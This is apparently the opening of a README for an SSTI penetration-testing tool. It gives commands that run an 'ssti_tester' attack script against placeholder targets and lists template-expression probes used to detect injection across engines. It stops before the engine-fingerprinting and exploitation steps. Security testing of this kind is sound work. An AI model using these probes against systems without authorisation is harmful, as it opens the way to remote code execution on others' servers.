Documentation
README
Server-Side Template Injection (SSTI)
Objective
Detect and exploit server-side template injection to achieve code execution on the server.
Testing Methodology
Phase 1: Detection
# Automated SSTI detection across 7 engines
attack_script ssti_tester "https://TARGET/search?q=FUZZ" --param q --json-output
# Quick mode (math payloads only)
attack_script ssti_tester "https://TARGET/render" --param template --quick
Phase 2: Generic Detection Payloads
Inject into every user-controlled parameter:
{{7*7}} → 49 (Jinja2, Twig)
${7*7} → 49 (FreeMarker, Velocity, EL)
<%= 7*7 %> → 49 (ERB, JSP)
#{7*7} → 49 (Thymeleaf)
{{7*'7'}} → 7777777 (Jinja2 string multiplication)
Phase 3: Engine Fingerprinting
This is the opening of the README. Read the full README on GitHub.